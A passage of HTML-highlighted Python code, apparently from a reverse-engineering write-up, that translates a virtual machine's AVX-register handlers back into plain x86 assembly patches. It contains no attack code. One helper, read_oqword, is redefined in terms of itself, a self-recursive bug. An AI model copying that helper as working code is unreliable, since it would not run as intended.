</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">try</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(x, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">16</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">except</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ValueError:
sym = symtab[x]
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(sym) == </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> sym.address
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">get_lea_base</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">disas</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(disas) == </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">5</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> resolve(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">''</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
read_qword = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : br.read64le(resolve(x))
read_dword = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : br.read32le(resolve(x))
read_word = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : br.read16le(resolve(x))
read_byte = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : br.read8(resolve(x))
read_dqword = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : read_qword(resolve(x)) + (read_qword(resolve(x) + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) << </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">64</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
read_oqword = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : read_dqword(resolve(x)) + (read_dqword(resolve(x) + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">16</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) << </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">128</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
read_oqword = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : read_oqword(resolve(x)) + (read_oqword(resolve(x) + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">32</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) << </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">256</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
get_bit_idx = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(math.log2(x))
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_k_reg</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(disas) == </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
ctx.set_k(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">][</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], get_bit_idx(read_qword(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">][</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">4</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])), addr_range.start)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.nop_patch(addr_range)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_general_arith</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
src = ctx.get_stack_offset(ex_compressq_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
dest = ctx.get_stack_offset(ex_general_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\n'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join([</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rax, [<span class="hljs-subst">{dest}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'<span class="hljs-subst">{equiv_ops[disas[-<span class="hljs-number">1</span>][<span class="hljs-number">0</span>]]}</span> rax, [<span class="hljs-subst">{src}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov [<span class="hljs-subst">{dest}</span>], rax'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.patch(addr_range, asm)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_not</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
src = ctx.get_stack_offset(ex_compressq_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
dest = ctx.get_stack_offset(ex_broadcastq_vmreg(disas[-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\n'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join([</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rax, [<span class="hljs-subst">{src}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'xor eax, 1'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov [<span class="hljs-subst">{dest}</span>], rax'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.patch(addr_range, asm)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_neg</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
src = ctx.get_stack_offset(ex_compressq_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
dest = ctx.get_stack_offset(ex_general_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\n'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join([</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rax, [<span class="hljs-subst">{src}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'neg rax'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov [<span class="hljs-subst">{dest}</span>], rax'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.patch(addr_range, asm)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_assign</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(disas) == </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
src = ctx.get_stack_offset(ex_compressq_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
dest = ctx.get_stack_offset(ex_broadcastq_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\n'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join([</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rax, [<span class="hljs-subst">{src}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov [<span class="hljs-subst">{dest}</span>], rax'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.patch(addr_range, asm)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_broadcast</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(disas) == </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
dest = ctx.get_stack_offset(ex_broadcastq_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># two variants, memory or register</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">''</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]) > </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">4</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
mem = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">''</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">][</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">4</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:])
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\n'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join([</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rax, <span class="hljs-subst">{mem}</span>'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov [<span class="hljs-subst">{dest}</span>], rax'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov [<span class="hljs-subst">{dest}</span>], <span class="hljs-subst">{disas[<span class="hljs-number">0</span>][<span class="hljs-number">3</span>]}</span>'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.patch(addr_range, asm)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_arr_idx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
arr_base = get_lea_base(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
arr_idx = ctx.get_stack_offset(ex_compressq_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
dest = ctx.get_stack_offset(ex_general_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\n'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join([</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rax, [<span class="hljs-subst">{arr_idx}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'lea rax, [<span class="hljs-subst">{arr_base}</span> + 8 * rax]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rax, [rax]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov [<span class="hljs-subst">{dest}</span>], rax'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.patch(addr_range, asm)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_arr_addr</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
arr_base = get_lea_base(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
arr_idx = ctx.get_stack_offset(ex_compressq_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
dest = ctx.get_stack_offset(ex_general_vmreg(disas[-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\n'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join([</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rax, [<span class="hljs-subst">{arr_idx}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'lea rax, [<span class="hljs-subst">{arr_base}</span> + 8 * rax]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov [<span class="hljs-subst">{dest}</span>], rax'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.patch(addr_range, asm)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_load</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
dest = ctx.get_stack_offset(ex_general_vmreg(disas[-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
val = ctx.get_stack_offset(ex_compressq_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\n'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join([</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rax, [<span class="hljs-subst">{val}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov [<span class="hljs-subst">{dest}</span>], rax'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.patch(addr_range, asm)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_store</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
dest = ctx.get_stack_offset(ex_compressq_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
val = ctx.get_stack_offset(ex_compressq_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\n'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join([</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rcx, [<span class="hljs-subst">{val}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rax, [<span class="hljs-subst">{dest}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'mov qword [rax], rcx'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.patch(addr_range, asm)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_avx_spill_reloads</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">][</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] == </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'knotb'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
ctx.invalidate_k(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">][</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], addr_range.start)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.nop_patch(addr_range)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_spill</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
spill_var = ctx.get_stack_offset(ex_compressq_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">''</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># memory case</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">][</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] == </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'['</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
mem = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">''</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">][</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\n'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join([</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rax, [<span class="hljs-subst">{spill_var}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
